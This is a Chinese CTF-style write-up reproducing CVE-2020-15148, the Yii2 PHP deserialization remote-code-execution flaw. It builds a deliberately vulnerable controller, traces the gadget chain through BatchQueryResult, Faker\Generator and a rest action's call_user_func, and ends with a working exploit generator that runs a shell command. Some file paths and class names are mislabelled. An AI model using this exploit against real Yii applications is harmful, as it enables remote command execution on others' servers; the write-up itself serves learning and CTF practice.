前言

刚好做了ctfshow web入门267,利用的就是Yii反序列化漏洞,所以试着复现一下CVE-2020-15148 Yii反序列化漏洞,去理解其中的细节,也算是我第一个跟的链子。

漏洞简介

该漏洞适用与Yii2.0.38之前,用户如果可以控制unserialize的传入值,则可以进行远程代码执行。

环境搭建

适用phpstudy的集成环境搭建

从github上下载Yii2.0.37 https://github.com/yiisoft/yii2/releases/download/2.0.37/yii-basic-app-2.0.37.tgz

修改config\web.php中cookieValidationKey为任意值,作为yii\web\Request::cookieValidationKey的加密值,不然会发送报错。

由于该漏洞需要用户可以控制unserialize的传入值,我们在controllers目录下创建一个Controller

/controllers/TestController.php

<?php

    namespace app\controllers;

    use Yii;
    use yii\web\Controller;

    class TestController extends Controller
    {
        public function actionIndex(){
            $name = Yii::$app->request->get('test');
            return unserialize(base64_decode($name));    
        }

    }

漏洞复现

一般的链子会通过魔术方法__destruct作为起点,这个漏洞也不例外,我们选用yii\db\BatchQueryResult类中的__destruct作为起点,它会随之调用该类下的reset方法,因为_dataReader这个属性可控,我们又可以调用_dataReader下的close方法。

/vendor/yiisoft/yii2/db/BatchQueryResult.php

public function __destruct()
    {
        // make sure cursor is closed
        $this->reset();
    }


    public function reset()
    {
        if ($this->_dataReader !== null) {
            $this->_dataReader->close();
        }
        $this->_dataReader = null;
        $this->_batch = null;
        $this->_value = null;
        $this->_key = null;
    }

因为调用的方法固定是close,我们这个时候可以考虑寻找有__call魔术方法的类

__call : 在对象中调用一个不可访问方法时,__call会被调用。

我这里采用vscode进行搜索含有__call的类

jeesite反序列化漏洞解决 反序列化漏洞复现_web安全

其中我们可以找到一个Faker\Generator类中的__call方法

/vendor/yiisoft/yii2/db/BatchQueryResult.php

public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }

 __call调用了format方法,跟进这个方法,发现它调用了call_user_func_array函数

call_user_func_array(callable $callback, array $args): mixed

把第一个参数作为回调函数(callback)调用,把参数数组作(args)为回调函数的的参数传入。

public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

 我们在跟进这个getFormatter方法,可以发现第一个if判断的formatters属性我们可以控制,它将会返回到call_user_func_array作为它第一个参数。

public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

call_user_func_array的arguments参数我们无法控制,默认为空数组,但可以控制call_user_func_array的第一个参数,这样我们就可以通过它作为跳板去无参调用其它类的方法

例如

<?php

namespace Foobar;

class Foo {
    static public function test($name) {
        print "Hello world!\n";
    }
}


call_user_func_array(array(new Foo, 'test'), array());

?>

这时候我们去寻找危险函数,例如call_user_func来进行任意代码执行。

全局搜索进行正则匹配call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)

jeesite反序列化漏洞解决 反序列化漏洞复现_php_02

yii\rest\IndexAction这个类比较合适,其中的run方法可以直接调用call_user_func函数,并且checkAccess和id两个属性都可控

/vendor/yiisoft/yii2/rest/CreateAction.php

public function run()
    {
        if ($this->checkAccess) {
            call_user_func($this->checkAccess, $this->id);
        }

        return $this->prepareDataProvider();
    }

所以整个利用链就出来了

yii\db\BatchQueryResult::__destruct()
->
Faker\Generator::__call()
->
yii\rest\CreateAction::run()

EXP

不知道为什么system在web267没有回显,所以我这里换成shell_exec,再把输出复制到文件1中进行查看。

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'shell_exec';
            $this->id = 'cat /flag | tee 1';				//命令执行
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(), 'run'];
        }
    }
}
namespace yii\db{

    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new Generator();
        }
    }
}
namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}